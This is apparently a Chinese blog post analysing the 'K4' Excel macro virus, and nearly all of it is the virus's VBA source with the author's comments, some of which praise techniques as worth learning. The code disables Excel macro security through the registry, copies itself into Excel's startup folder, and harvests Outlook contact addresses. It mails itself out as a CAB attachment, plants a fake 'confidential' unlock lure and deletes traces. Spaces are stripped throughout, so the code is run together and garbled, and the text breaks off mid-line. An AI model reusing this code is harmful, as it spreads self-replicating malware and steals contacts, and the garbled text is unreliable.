最近據(jù)說(shuō)是新型的K4宏病毒到處肆虐，感染了辦公室不少.xls文件，殺又殺不干凈。對(duì)此互比較感興趣，花了點(diǎn)時(shí)間跟蹤了一下代碼，并作了簡(jiǎn)要注釋，基本了解該病毒的行為：以ToDOLE模塊中的代碼，在虛擬機(jī)XP+Excel2003下跟蹤并注釋了關(guān)鍵代碼：'病毒行為主過(guò)程PrivateSubauto_open()Application.DisplayAlerts=FalseIfThisWorkbook.Path<>Application.StartupPathThenApplication.ScreenUpdating=False'刪除.xls文件里的ThisWorkBook表單，以便寫入帶毒宏代碼;Calldelete_this_wk'復(fù)制帶毒宏代碼Callcopytoworkbook'如果當(dāng)前文件已經(jīng)感染，則保存。IfSheets(1).Name<>"Macro1"ThenMovemacro4ThisWorkbookThisWorkbook.SaveApplication.ScreenUpdating=TrueEndIfEndSub'以下過(guò)程向ThisWorkbook寫入一段激活帶毒代碼；PrivateSubcopytoworkbook()ConstDQUOTE=""""WithThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines1,"PublicWithEventsxxAsApplication".InsertLines2,"PrivateSubWorkbook_open()".InsertLines3,"Setxx=Application".InsertLines4,"OnErrorResumeNext".InsertLines5,"Application.DisplayAlerts=False".InsertLines6,"Calldo_what".InsertLines7,"EndSub".InsertLines8,"PrivateSubxx_workbookOpen(ByValwbAsWorkbook)".InsertLines9,"OnErrorResumeNext".InsertLines10,"wb.VBProject.References.AddFromGuid_".InsertLines11,"GUID:="&DQUOTE&"{0002E157-0000-0000-C000-000000000046}"&DQUOTE&",_".InsertLines12,"Major:=5,Minor:=3".InsertLines13,"Application.ScreenUpdating=False".InsertLines14,"Application.DisplayAlerts=False".InsertLines15,"copystartwb".InsertLines16,"Application.ScreenUpdating=True".InsertLines17,"EndSub"EndWithEndSub'刪除臨時(shí)工作表過(guò)程PrivateSubdelete_this_wk()DimVBProjAsVBIDE.VBProjectDimVBCompAsVBIDE.VBComponentDimCodeModAsVBIDE.CodeModuleSetVBProj=ThisWorkbook.VBProjectSetVBComp=VBProj.VBComponents("ThisWorkbook")SetCodeMod=VBComp.CodeModuleWithCodeMod.DeleteLines1,.CountOfLinesEndWithEndSub'病毒的主要行為框架Functiondo_what()IfThisWorkbook.Path<>Application.StartupPathThen'檢測(cè)并當(dāng)前打開xls文件時(shí)的狀態(tài)，并初始化一些準(zhǔn)備工作。RestoreAfterOpen'通過(guò)修改注冊(cè)信任VB項(xiàng)，為下面的感染提供可能性。CallOpenDoor'把帶毒模塊寫入Excel的自動(dòng)啟動(dòng)項(xiàng)目，實(shí)現(xiàn)感染傳播CallMicrosofthobby'病毒的主體行為（大致是收集outlook的用戶郵件列表并發(fā)送到指定郵箱里）CallActionJudgeEndIfEndFunction'把帶毒模塊'k4.xls'附加進(jìn)每個(gè)打開的xls文件里。Functioncopystart(ByValwbAsWorkbook)OnErrorResumeNextDimVBProj1AsVBIDE.VBProjectDimVBProj2AsVBIDE.VBProjectSetVBProj1=Workbooks("k4.xls").VBProjectSetVBProj2=wb.VBProject'如果已經(jīng)感染過(guò)，就退出Ifcopymodule("ToDole",VBProj1,VBProj2,False)ThenExitFunctionEndFunction'把'k4.xls'帶毒模塊附加進(jìn)每個(gè)打開的xls文件里。Functioncopymodule(ModuleNameAsString,_FromVBProjectAsVBIDE.VBProject,_ToVBProjectAsVBIDE.VBProject,_OverwriteExistingAsBoolean)AsBooleanOnErrorResumeNextDimVBCompAsVBIDE.VBComponentDimFNameAsStringDimCompNameAsStringDimSAsStringDimSlashPosAsLongDimExtPosAsLongDimTempVBCompAsVBIDE.VBComponentIfFromVBProjectIsNothingThencopymodule=FalseExitFunctionEndIfIfTrim(ModuleName)=vbNullStringThencopymodule=FalseExitFunctionEndIfIfToVBProjectIsNothingThencopymodule=FalseExitFunctionEndIfIfFromVBProject.Protection=vbext_pp_lockedThencopymodule=FalseExitFunctionEndIfIfToVBProject.Protection=vbext_pp_lockedThencopymodule=FalseExitFunctionEndIfOnErrorResumeNextSetVBComp=FromVBProject.VBComponents(ModuleName)IfErr.Number<>0Thencopymodule=FalseExitFunctionEndIfFName=Environ("Temp")&"\"&ModuleName&".bas"IfOverwriteExisting=TrueThenIfDir(FName,vbNormal+vbHidden+vbSystem)<>vbNullStringThenErr.ClearKillFNameIfErr.Number<>0Thencopymodule=FalseExitFunctionEndIfEndIfWithToVBProject.VBComponents.Remove.Item(ModuleName)EndWithElseErr.ClearSetVBComp=ToVBProject.VBComponents(ModuleName)IfErr.Number<>0ThenIfErr.Number=9ThenElsecopymodule=FalseExitFunctionEndIfEndIfEndIfFromVBProject.VBComponents(ModuleName).ExportFileName:=FNameSlashPos=InStrRev(FName,"\")ExtPos=InStrRev(FName,".")CompName=Mid(FName,SlashPos+1,ExtPos-SlashPos-1)SetVBComp=NothingSetVBComp=ToVBProject.VBComponents(CompName)IfVBCompIsNothingThenToVBProject.VBComponents.ImportFileName:=FNameElseIfVBComp.Type=vbext_ct_DocumentThenSetTempVBComp=ToVBProject.VBComponents.Import(FName)WithVBComp.CodeModule.DeleteLines1,.CountOfLinesS=TempVBComp.CodeModule.Lines(1,TempVBComp.CodeModule.CountOfLines).InsertLines1,SEndWithOnErrorGoTo0ToVBProject.VBComponents.RemoveTempVBCompEndIfEndIfKillFNamecopymodule=TrueEndFunction'在Excel的啟動(dòng)目錄里保存帶毒模塊文件k4.xls，導(dǎo)致所有打開的.xls文件都自動(dòng)附加上這個(gè)帶毒模塊。FunctionMicrosofthobby()Dimmyfile0AsStringDimMyFileAsStringOnErrorResumeNextmyfile0=ThisWorkbook.FullNameMyFile=Application.StartupPath&"\k4.xls"'如果文件已經(jīng)存在，則先刪除，再保存。IfWorkbookOpen("k4.xls")AndThisWorkbook.Path<>Application.StartupPathThenWorkbooks("k4.xls").CloseFalseShellEnviron$("comspec")&"/cattrib-S-h"""&Application.StartupPath&"\K4.XLS""",vbMinimizedFocusShellEnviron$("comspec")&"/cDel/F/Q"""&Application.StartupPath&"\K4.XLS""",vbMinimizedFocusShellEnviron$("comspec")&"/cRD/S/Q"""&Application.StartupPath&"\K4.XLS""",vbMinimizedFocusIfThisWorkbook.Path<>Application.StartupPathThenApplication.ScreenUpdating=FalseThisWorkbook.IsAddin=TrueThisWorkbook.SaveCopyAsMyFileThisWorkbook.IsAddin=FalseApplication.ScreenUpdating=TrueEndIfEndFunction'修改注冊(cè)表，降低Excel的宏安全級(jí)別，讓Excel接受所有VB項(xiàng)目的運(yùn)行。FunctionOpenDoor()DimFso,RK1AsString,RK2AsString,RK3AsString,RK4AsStringDimKValue1AsVariant,KValue2AsVariantDimVSAsStringOnErrorResumeNextVS=Application.VersionSetFso=CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")RK1="HKEY_CURRENT_USER\Software\Microsoft\Office\"&VS&"\Excel\Security\AccessVBOM"RK2="HKEY_CURRENT_USER\Software\Microsoft\Office\"&VS&"\Excel\Security\Level"RK3="HKEY_LOCAL_MACHINE\Software\Microsoft\Office\"&VS&"\Excel\Security\AccessVBOM"RK4="HKEY_LOCAL_MACHINE\Software\Microsoft\Office\"&VS&"\Excel\Security\Level"KValue1=1KValue2=1CallWReg(RK1,KValue1,"REG_DWORD")CallWReg(RK2,KValue2,"REG_DWORD")CallWReg(RK3,KValue1,"REG_DWORD")CallWReg(RK4,KValue2,"REG_DWORD")EndFunction'子函數(shù)：實(shí)現(xiàn)注冊(cè)表的寫入功能。SubWReg(strkeyAsString,ValueAsVariant,ValueTypeAsString)DimoWshellSetoWshell=CreateObject("WScript.Shell")IfValueType=""ThenoWshell.RegWritestrkey,ValueElseoWshell.RegWritestrkey,Value,ValueTypeEndIfSetoWshell=NothingEndSub'宏病毒自我復(fù)制的一個(gè)過(guò)程。創(chuàng)建一個(gè)隱藏的"Macro1"工作表，并寫入一些內(nèi)容，備用。PrivateSubMovemacro4(ByValwbAsWorkbook)OnErrorResumeNextDimshtAsObjectwb.Sheets(1).SelectSheets.AddType:=xlExcel4MacroSheetActiveSheet.Name="Macro1"Range("A2").SelectActiveCell.FormulaR1C1="=ERROR(FALSE)"Range("A3").SelectActiveCell.FormulaR1C1="=IF(ERROR.TYPE(RUN("""&Application.UserName&"""))=4)"Range("A4").SelectActiveCell.FormulaR1C1="=ALERT(""禁用宏，關(guān)閉"&Chr(10)&Now&Chr(10)&"PleaseEnableMacro!"",3)"Range("A5").SelectActiveCell.FormulaR1C1="=FILE.CLOSE(FALSE)"Range("A6").SelectActiveCell.FormulaR1C1="=END.IF()"Range("A7").SelectActiveCell.FormulaR1C1="=RETURN()"ForEachshtInwb.Sheetswb.Names.Addsht.Name&"!Auto_Activate","=Macro1!$A$2",FalseNextwb.Excel4MacroSheets(1).Visible=xlSheetVeryHiddenEndSub'嘗試打開工作簿函數(shù)PrivateFunctionWorkbookOpen(WorkBookNameAsString)AsBooleanWorkbookOpen=FalseOnErrorGoToWorkBookNotOpenIfLen(Application.Workbooks(WorkBookName).Name)>0ThenWorkbookOpen=TrueExitFunctionEndIfWorkBookNotOpen:EndFunction'病毒主體行為集中在此過(guò)程，是個(gè)通過(guò)收集和發(fā)送郵件的方式把帶毒文件傳播的過(guò)程。PrivateSubActionJudge()ConstT1AsDate="10:00:00"ConstT2AsDate="11:00:00"ConstT3AsDate="14:00:00"ConstT4AsDate="15:00:00"DimSentTimeAsDate,WshShell'通過(guò)強(qiáng)大的WScript.Shell對(duì)象進(jìn)行操作。SetWshShell=CreateObject("WScript.Shell")'判斷是安裝有Outlook郵件程序，如果沒(méi)有安裝，病毒行為中止。IfNotInStr(UCase(WshShell.RegRead("HKEY_CLASSES_ROOT\mailto\shell\open\command\")),"OUTLOOK.EXE")>0ThenExitSub'判斷當(dāng)前時(shí)間，在早上11－12點(diǎn)時(shí)，則讀取已經(jīng)搜索好的地址文件IfTime>=T1AndTime<=T2OrTime>=T3AndTime<=T4Then'讀取已經(jīng)收集好的郵件地址文件標(biāo)志，如果不符合條件，則退出IfReadOut("D:\Collected_Address:frag1.txt")="1"ThenExitSub'否則，將搜索里面的內(nèi)容ElseCreateFile"1","D:\Collected_Address:frag1.txt"search_in_OLEndIf'如果不在指定的時(shí)間段，則執(zhí)行以下行為：Else'判斷有沒(méi)有安裝OutLook，如果沒(méi)有安裝，則結(jié)束代碼。IfNotif_outlook_openThenExitSub'再判斷一個(gè)特定時(shí)間段，IfTime>T2AndTime<=DateAdd("n",10,T2)OrTime>T4AndTime<=DateAdd("n",10,T4)ThenExitSubElseSentTime=DateAdd("n",-21,Now)OnErrorGoTotimeErrorSentTime=CDate(ReadOut("D:\Collected_Address:frag2.txt"))timeError:IfNow<DateAdd("n",20,SentTime)OrReadOut("D:\Collected_Address\log.txt")=""ThenExitSubElse'創(chuàng)建一個(gè)文件文件，保存導(dǎo)出的郵件地址文件CreateFile"","D:\Collected_Address:frag1.txt"CreateFileNow,"D:\Collected_Address:frag2.txt"'以郵件的形式將這些收集到的郵件地址打包并發(fā)送到指定的地址，病毒的主體行為目的在此??！'即把帶毒的vbs和xls文件打包好成cab文件，然后指發(fā)送到搜集到的Outlook里的用戶列表地址中去，'以此實(shí)現(xiàn)網(wǎng)絡(luò)傳播……CreatCab_SendMailEndIfEndIfEndIfEndSub'以下過(guò)程通過(guò)創(chuàng)建Wscript對(duì)象執(zhí)行一段在后臺(tái)搜索Outlook用戶郵件地址列表的vbs腳本。'奶奶的，寫得不錯(cuò)，值得借鑒。PrivateSubsearch_in_OL()DimiAsInteger,AttNameAsString,AddVbsFileAsString,AddListFileAsString,fsAsObject,WshShellAsObjectOnErrorResumeNext'啟動(dòng)強(qiáng)大的scripting.filesystemobject對(duì)象搜索文件Setfs=CreateObject("scripting.filesystemobject")SetWshShell=CreateObject("WScript.Shell")'創(chuàng)建E:\KK文件夾，臨時(shí)保存等一下用到的"<.xls文件名>_clear.vbs"Iffs.Folderexists("E:\KK")=FalseThenfs.CreateFolder"E:\KK"AttName=Replace(Replace(Left(ThisWorkbook.Name,Len(ThisWorkbook.Name)-4),"","_"),".","_")AddVbsFile_clear="E:\KK\"&AttName&"_clear.vbs"i=FreeFile'準(zhǔn)備在該.vbs文件中寫入代碼。'大概意思：激活當(dāng)前Outlook到最前窗口，并發(fā)送一系列按鍵（未測(cè)試這些按鍵對(duì)Outlook操作了什么）。OpenAddVbsFile_clearForOutputAccessWriteAs#iPrint#i,"OnerrorResumeNext"Print#i,"Dimwsh,tle,T0,i"Print#i,"T0=Timer"Print#i,"Setwsh=createobject("""&"wscript.shell"""&")"Print#i,"tle="""&"MicrosoftOfficeOutlook"""&""Print#i,"Fori=1To1000"Print#i,"IfTimer-T0>60ThenExitFor"Print#i,"CallRefresh()"Print#i,"wscript.sleep05"Print#i,"wsh.sendKeys"""&"%a"""&""Print#i,"wscript.sleep05"Print#i,"wsh.sendKeys"""&"{TAB}{TAB}"""&""Print#i,"wscript.sleep05"Print#i,"wsh.sendKeys"""&"{Enter}"""&""Print#i,"Next"Print#i,"Setwsh=Nothing"Print#i,"wscript.quit"Print#i,"SubRefresh()"Print#i,"DoUntilwsh.AppActivate(CStr(tle))=True"Print#i,"IfTimer-T0>60ThenExitSub"Print#i,"Loop"Print#i,"wscript.sleep05"Print#i,"wsh.SendKeys"""&"%{F4}"""&""Print#i,"EndSub"Close(i)'再生成一個(gè)"<.xls文件名>_Search.vbs"文件，并寫入代碼'代碼功能是在后臺(tái)收集Outlook的好友郵件列表?？磥?lái)作者對(duì)Outlook的用戶列表文件內(nèi)容研究很深入。'奶奶的，居然還調(diào)用了“正則表達(dá)式”來(lái)提取郵件地址，真有兩下子。AddVbsFile_search="E:\KK\"&AttName&"_Search.vbs"i=FreeFileOpenAddVbsFile_searchForOutputAccessWriteAs#iPrint#i,"OnerrorResumeNext"Print#i,"ConstolFolderInbox=6"Print#i,"Dimconbinded_address,WshShell,sh,ts"Print#i,"SetWshShell=WScript.CreateObject("""&"WScript.Shell"""&")"Print#i,"SetobjOutlook=CreateObject("""&"Outlook.Application"""&")"Print#i,"SetobjNamespace=objOutlook.GetNamespace("""&"MAPI"""&")"Print#i,"SetobjFolder=objNamespace.GetDefaultFolder(olFolderInbox)"Print#i,"SetTargetFolder=objFolder"Print#i,"conbinded_address="""&""""&""Print#i,"SetcolItems=TargetFolder.Items"Print#i,"wscript.sleep300000"Print#i,"WshSHell.Run("""&"wscript.exe"&AddVbsFile_clear&""""&"),vbHide,False"Print#i,"ts=Timer"Print#i,"ForEachobjMessageincolItems"Print#i,"IfTimer-ts>55thenexitFor"Print#i,"conbinded_address=conbinded_address&valid_address(objMessage.Body)"Print#i,"Next"Print#i,"add_textconbinded_address,8"Print#i,"add_textall_non_same(ReadAllTextFile),2"Print#i,"WScript.Quit"Print#i,""Print#i,"PrivateFunctionvalid_address(source_data)"Print#i,"DimoDict,trimed_data,temp_data,i,t_asc,header_end,trimed_arr,nonsame_arr"Print#i,"Dimregex,matchs,ss,arr()"Print#i,"SetoDict=CreateObject("""&"Scripting.Dictionary"""&")"Print#i,"Setregex=CreateObject("""&"VBSCRIPT.REGEXP"""&")"Print#i,""Print#i,"regex.Global=True"'這里學(xué)習(xí)啦，提取郵件地址的正則！Print#i,"regex.Pattern="""&"\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*"""&""Print#i,"Setmatchs=regex.Execute(source_data)"Print#i,"ReDimtrimed_arr(matchs.Count-1)"Print#i,"Fori=Lbound(trimed_arr)ToUbound(trimed_arr)"Print#i,"trimed_arr(i)=matchs.Item(i)&vbCrLf"Print#i,"Next"Print#i,""Print#i,"Fori=LBound(trimed_arr)ToUBound(trimed_arr)"Print#i,"oDict(trimed_arr(i))="""&""""&""Print#i,"Next"Print#i,""Print#i,"IfoDict.Count>0Then"Print#i,"nonsame_arr=oDict.keys"Print#i,"Fori=LBound(nonsame_arr)ToUBound(nonsame_arr)"Print#i,"valid_address=valid_address&nonsame_arr(i)"Print#i,"Next"Print#i,"EndIf"Print#i,"SetoDict=Nothing"Print#i,"EndFunction"Print#i,""'把搜索到的郵件地址字符串保存到以下新建的D:\Collected_Address\log.txt文件里去。Print#i,"PrivateSubadd_text(inputed_string,input_frag)"Print#i,"DimobjFSO,logfile,logtext,log_path,log_folder"Print#i,"log_path="""&"D:\Collected_Address"""&""Print#i,"SetobjFSO=CreateObject("""&"Scripting.FileSystemObject"""&")"Print#i,"OnErrorresumenext"Print#i,"Setlog_folder=objFSO.CreateFolder(log_path)"Print#i,""Print#i,"IfobjFSO.FileExists(log_path&"""&"\log.txt"""&")=0Then"Print#i,"Setlogfile=objFSO.CreateTextFile(log_path&"""&"\log.txt"""&",True)"Print#i,"EndIf"Print#i,"Setlog_folder=Nothing"Print#i,"Setlogfile=Nothing"Print#i,""Print#i,"SelectCaseinput_frag"Print#i,"Case8"Print#i,"Setlogtext=objFSO.OpenTextFile(log_path&"""&"\log.txt"""&",8,True,-1)"Print#i,"logtext.Writeinputed_string"Print#i,"logtext.Close"Print#i,"Case2"Print#i,"Setlogtext=objFSO.OpenTextFile(log_path&"""&"\log.txt"""&",2,True,-1)"Print#i,"logtext.Writeinputed_string"Print#i,"logtext.Close"Print#i,"EndSelect"Print#i,"setobjFSO=nothing"Print#i,"EndSub"Print#i,""Print#i,"PrivateFunctionReadAllTextFile()"Print#i,"DimobjFSO,FileName,MyFile"Print#i,"FileName="""&"D:\Collected_Address\log.txt"""&""Print#i,"SetobjFSO=CreateObject("""&"Scripting.FileSystemObject"""&")"Print#i,"SetMyFile=objFSO.OpenTextFile(FileName,1,False,-1)"Print#i,"IfMyFile.AtEndOfStreamThen"Print#i,"ReadAllTextFile="""&""""&""Print#i,"Else"Print#i,"ReadAllTextFile=MyFile.ReadAll"Print#i,"EndIf"Print#i,"setobjFSO=nothing"Print#i,"EndFunction"Print#i,""Print#i,"PrivateFunctionall_non_same(source_data)"Print#i,"DimoDict,i,trimed_arr,nonsame_arr"Print#i,"all_non_same="""&""""&""Print#i,"SetoDict=CreateObject("""&"Scripting.Dictionary"""&")"Print#i,""Print#i,"trimed_arr=Split(source_data,vbCrLf)"Print#i,""Print#i,"Fori=LBound(trimed_arr)ToUBound(trimed_arr)"Print#i,"oDict(trimed_arr(i))="""&""""&""Print#i,"Next"Print#i,""Print#i,"IfoDict.Count>0Then"Print#i,"nonsame_arr=oDict.keys"Print#i,"Fori=LBound(nonsame_arr)ToUBound(nonsame_arr)"Print#i,"all_non_same=all_non_same&nonsame_arr(i)&vbCrLf"Print#i,"Next"Print#i,"EndIf"Print#i,"SetoDict=Nothing"Print#i,"EndFunction"Close(i)Application.WindowState=xlMaximized'激活以上代碼，當(dāng)然是vbHide的形式WshShell.Run("wscript.exe"&AddVbsFile_search),vbHide,FalseSetWshShell=NothingEndSub'以下過(guò)程是把帶毒模塊和一個(gè)vbs腳本文件通過(guò)makecab命令打包保存到"E:\SORCE\<文件名>.cab"文件里。'NND，這個(gè)過(guò)程寫得也相當(dāng)巧妙，值得學(xué)習(xí)！PrivateSubCreatCab_SendMail()DimiAsInteger,AttNameAsString,AddVbsFileAsString,AddListFileAsString,Address_listAsStringDimfsAsObject,WshShellAsObjectAddress_list=get_ten_addressSetWshShell=CreateObject("WScript.Shell")Setfs=CreateObject("scripting.filesystemobject")Iffs.Folderexists("E:\SORCE")=FalseThenfs.CreateFolder"E:\SORCE"AttName=Replace(Replace(Left(ThisWorkbook.Name,Len(ThisWorkbook.Name)-4),"","_"),".","_")mail_sub="*"&AttName&"*Message*"AddVbsFile="E:\sorce\"&AttName&"_Key.vbs"i=FreeFileOpenAddVbsFileForOutputAccessWriteAs#iPrint#i,"Dimoexcel,owb,WshShell,Fso,Atta_xls,sh,route"Print#i,"OnerrorResumeNext"Print#i,"Setsh=WScript.CreateObject("""&"shell.application"""&")"Print#i,"sh.MinimizeAll"Print#i,"Setsh=Nothing"Print#i,"SetFso=CreateObject("""&"Scripting.FileSystemObject"""&")"Print#i,"SetWshShell=WScript.CreateObject("""&"WScript.Shell"""&")"Print#i,"IfFso.Folderexists("""&"E:\KK"""&")=FalseThenFso.CreateFolder"""&"E:\KK"""Print#i,"Fso.CopyFile_"Print#i,"WshShell.CurrentDirectory&"""&"\"&AttName&"*.CAB"""&","&""&"""E:\KK\"""&",True"Print#i,"ForEachAtta_xlsInListDir("""&"E:\KK"""&")"Print#i,"WshShell.Run"""&"expand"""&"&Atta_xls&"""&"-F:"&AttName&".xlsE:\KK"""&",0,true"Print#i,"Next"Print#i,"IfFso.FileExists("""&"E:\KK\"&AttName&".xls"""&")=0then"Print#i,"route=WshShell.CurrentDirectory&"""&"\"&AttName&".xls"""Print#i,"ifFso.FileExists(WshShell.CurrentDirectory&"""&"\"&AttName&".xls"""&")=0then"Print#i,"route=InputBox("""&"Warning!"""&"&Chr(10)&"""&"Youaregoingtoopenaconfidentialfile."""&"&Chr(10)_"Print#i,"&"""&"Pleaseinputthecompletefilepath."""&"&Chr(10)&"""&"ex.C:\parth\confidential_file.xls"""&",_"Print#i,""""&"OpenaFile"""&","""&"PleaseInputtheCompleteFilePath"""&",10000,8500)"Print#i,"Endif"Print#i,"else"Print#i,"route="""&"E:\KK\"&AttName&".xls"""Print#i,"EndIf"Print#i,"setoexcel=createobject("""&"excel.application"""&")"Print#i,"setowb=oexcel.workbooks.open(route)"Print#i,"oExcel.Visible=True"Print#i,"SetoExcel=Nothing"Print#i,"SetoWb=Nothing"Print#i,"SetWshShell=Nothing"Print#i,"SetFso=Nothing"Print#i,"WScript.Quit"Print#i,"PrivateFunctionListDir(ByValPath)"Print#i,"DimFilter,a,n,Folder,Files,File"Print#i,"ReDima(10)"Print#i,"n=0"Print#i,"SetFolder=fso.GetFolder(Path)"Print#i,"SetFiles=Folder.Files"Print#i,"ForEachFileInFiles"Print#i,"Ifleft(File.Name,"&Len(AttName)&")="""&AttName&"""andright(File.Name,3)="""&"CAB"""&"Then"Print#i,"Ifn>UBound(a)ThenReDimPreservea(n*2)"Print#i,"a(n)=File.Path"Print#i,"n=n+1"Print#i,"EndIf"Print#i,"Next"Print#i,"ReDimPreservea(n-1)"Print#i,"ListDir=a"Print#i,"EndFunction"Close(i)AddListFile=ThisWorkbook.Path&"\TEST.txt"i=FreeFileOpenAddListFileForOutputAccessWriteAs#iPrint#i,"E:\sorce\"&AttName&"_Key.vbs"Print#i,"E:\sorce\"&AttName&".xls"Close(i)Application.ScreenUpdating=FalseRestoreBeforeSendThisWorkbook.SaveCopyAs"E:\sorce\"&AttName&".xls"RestoreAfterOpenc4$=CurDir()ChDriveLeft(ThisWorkbook.Path,3)'"C:\"ChDirThisWorkbook.Path'隱藏打包帶病文件WshShell.RunEnviron$("comspec")&"/cmakecab/F"""&ThisWorkbook.Path&"\TEST.TXT"""&"/DCOMPRESSIONTYPE=LZX/DCOMPRESSIONMEMORY=21/DCABINETNAMETEMPLATE=../"&AttName&".CAB",vbHide,FalseDoUntilfs.FileExists(ThisWorkbook.Path&"\TEST.txt")_Andfs.FileExists(ThisWorkbook.Path&"\setup.rpt")Andfs.FileExists(ThisWorkbook.Path&"\setup.inf")_Andfs.FileExists(ThisWorkbook.Path&"\"&AttName&".CAB")DoEventsLoopWshShell.RunEnviron$("comspec")&"/cRD/S/Q"""&ThisWorkbook.Path&"\disk1""",vbHide,False'俗話說(shuō)，偷吃要抹嘴啊~，刪除那些臨時(shí)文件。WshShell.RunEnviron$("comspec")&"/cDel/F/Q"""&ThisWorkbook.Path&"\TEST.txt""",vbHide,FalseWshShell.RunEnviron$("comspec")&"/cDel/F/Q"""&ThisWorkbook.Path&"\setup.rpt""",vbHide,FalseWshShell.RunEnviron$("comspec")&"/cDel/F/Q"""&ThisWorkbook.Path&"\setup.inf""",vbHide,FalseWshShell.RunEnviron$("comspec")&"/cRD/S/QE:\sorce",vbHide,FalseIffs.Folderexists("E:\KK")=FalseThenfs.CreateFolder"E:\KK"WshShell.RunEnviron$("comspec")&"/cMOVE/Y"&AttName&".CABE:\KK""",vbHide,FalseChDirc4$CallMassive_SendMail(Address_list,AttName,"Dearall,"&vbCrLf&AttName&vbCrLf&"FYI",_"","E:\KK\"&AttName&".CAB")WshShell.RunEnviron$("comspec")&"/cRD/S/QE:\KK",vbHide,FalseSetWshShell=NothingApplication.ScreenUpdating=TrueEndSub'群發(fā)郵件過(guò)程:這個(gè)過(guò)程太有趣了，如果真的被運(yùn)用了，你一定會(huì)被驚呆?。?！'居然是通過(guò)激活當(dāng)前正在運(yùn)行的Outlook，然后模擬按鍵進(jìn)行群發(fā)郵件，這個(gè)過(guò)程讓你感到：你被遠(yuǎn)程控制了??！PrivateSubMassive_SendMail(Email_Address$,Subject$,Body$,CC_email_add$,Attachment$)DimobjOLAsObjectDimitmNewMailAsObjectIfNotif_outlook_openThenExitSubSetobjOL=CreateObject("Outlook.Application")SetitmNewMail=objOL.CreateItem(olMailItem)WithitmNewMail.Subject=Subject.Body=Body.To=Email_Address.CC=CC_email_add.Attachments.AddAttachment.DeleteAfterSubmit=TrueEndWithOnErrorGoTocontinueSendEmail:itmNewMail.displayDebug.Print"setforth"DoEventsDoEventsDoEventsSendKeys"%s",Wait:=TrueDoEventsGoToSendEmailcontinue:SetobjOL=NothingSetitmNewMail=NothingEndSub'以下函數(shù)通過(guò)讀取進(jìn)程列表，判斷是否有Outlook運(yùn)行。PrivateFunctionif_outlook_open()AsBooleanSetobjs=GetObject("WinMgmts:").InstancesOf("Win32_Process")if_outlook_open=FalseForEachobjInobjsIfInStr(obj.Description,"OUTLOOK")>0Thenif_outlook_open=TrueExitForEndIfNextEndFunction'生成一隨機(jī)數(shù)，不感興趣。PrivateFunctionRadomNine(lengthAsInteger)AsStringDimjjAsInteger,kAsInteger,iAsIntegerRadomNine=""Iflength<=0ThenExitFunctionIflength<=10ThenFori=1TolengthRadomNine=RadomNine&"$$"&iNextiExitFunctionEndIfjj=length/10RandomizeFori=1To10k=Int(Rnd*(jj*i-m-1))+1Ifm+k<>1ThenRadomNine=RadomNine&"$$"&m+km=m+kNextEndFunction'從D:\Collected_Address\log.txt文件中讀取已經(jīng)收集好的郵件地址，用于群發(fā)。PrivateFunctionget_ten_address()AsStringDimsingleAddress_arr,krr,iAsIntegerget_ten_address=""singleAddress_arr=Split(ReadOut("D:\Collected_Address\log.txt"),vbCrLf)krr=Split(RadomNine(UBound(singleAddress_arr)-LBound(singleAddress_arr)+1),"$$")Fori=1ToUBound(krr)get_ten_address=get_ten_address&";"&singleAddress_arr(CInt(krr(i))-1)NextiEndFunction'調(diào)用FSO對(duì)象讀取指定文件的屬性PrivateFunctionReadOut(FullPath)AsStringOnErrorResumeNextDimFso,FileTextSetFso=CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")SetFileText=Fso.OpenTextFile(FullPath,1,False,-1)ReadOut=FileText.ReadAllFileText.CloseEndFunction'自定義一個(gè)創(chuàng)建文件過(guò)程，還帶有標(biāo)志呢，備用。PrivateSubCreateFile(FragMark,pathf)OnErrorResumeNextDimFso,FileText'這是干嘛呢，"scRiPTinG.fiLEsysTeMoBjEcT"寫得亂七八糟的，不就是Script.FileSystemObject對(duì)象嘛。SetFso=CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")IfFso.Folderexists(Left(pathf,Len(pathf)-10))=FalseThenFso.CreateFolderLeft(pathf,Len(pathf)-10)IfFso.FileExists(pathf)ThenSetFileText=Fso.OpenTextFile(pathf,2,False,-1)FileText.WriteFragMarkFileText.CloseElseSetFileText=Fso.OpenTextFile(pathf,2,True,-1)FileText.WriteFragMarkFileText.CloseEndIfEndSubPrivateSubRestoreBeforeSend()DimaaAsName,i_rowAsInteger,i_colAsIntegerDimshtAsObjectApplication.ScreenUpdating=FalseApplication.DisplayAlerts=FalseOnErrorResumeNext'以下清除在感染前寫入的一些臨時(shí)內(nèi)容，出于隱蔽。'歷遍當(dāng)前工作簿，如果隱藏代碼段Auto_Activate的話，刪除??！不留痕跡。ForEachaaInThisWorkbook.Namesaa.Visible=TrueIfSplit(aa.Name,"!")(1)="Auto_Activate"Thenaa.DeleteNext'歷遍當(dāng)前工作表，如果有一個(gè)叫"Macro1"的話，刪除！！不留痕跡。ForEachshtInThisWorkbook.SheetsIfsht.Name="Macro1"Thensht.Visible=xlSheetVisiblesht.DeleteEndIfNextSheets(1).SelectSheets.AddForEachshtInThisWorkbook.SheetsIfsht.Name<>Sheets(1).NameThensht.Visible=xlSheetVeryHiddenNext'以下在第2個(gè)工作表里的隨機(jī)單元格里寫入一些內(nèi)容：'提示新用戶去執(zhí)行vbs文件來(lái)解瑣文件，目的是忽悠用戶來(lái)激活宏病毒。i_row=Int((15*Rnd)+1)i_col=Int((6*Rnd)+1)Cells(i_row,i_col)="**CONFIDENTIAL!**"Cells(i_row+2,i_col)="Use"&Chr(34)&Left(ThisWorkbook.Name,Len(ThisWorkbook.Name)-4)&"_key.vbs"&Chr(34)&"ToOpenThisFile."Cells(i_row+3,i_col)="請(qǐng)用"&Chr(34)&Left(ThisWorkbook.Name,Len(ThisWorkbook.Name)-4)&"_key.vbs"&Chr(34)&"解鎖此文件."WithRange(Cells(i_row,i_col),Cells(i_row+2,i_col)).Font.Bold=True.Font.ColorIndex=3EndWithApplication.ScreenUpdating=TrueEndSub'刪除當(dāng)前表中"A1:F15"區(qū)域所有含有帶"CONFIDENTIAL"字樣的內(nèi)容。PrivateFunctionRestoreAfterOpen()Dimsht,del_sht,rng,del_fragAsBooleanOnErrorResumeNextdel_sht=ActiveSheet.NameApplication.ScreenUpdating=FalseApplication.DisplayAlerts=FalseForEachshtInThisWorkbook.SheetsIfsht.Name<>"Macro1"Thensht.Visible=xlSheetVisibleNextForEachrngInSheets(del_sht).Range("A1:F15")IfInStr(rng.Value,"CONFIDENTIAL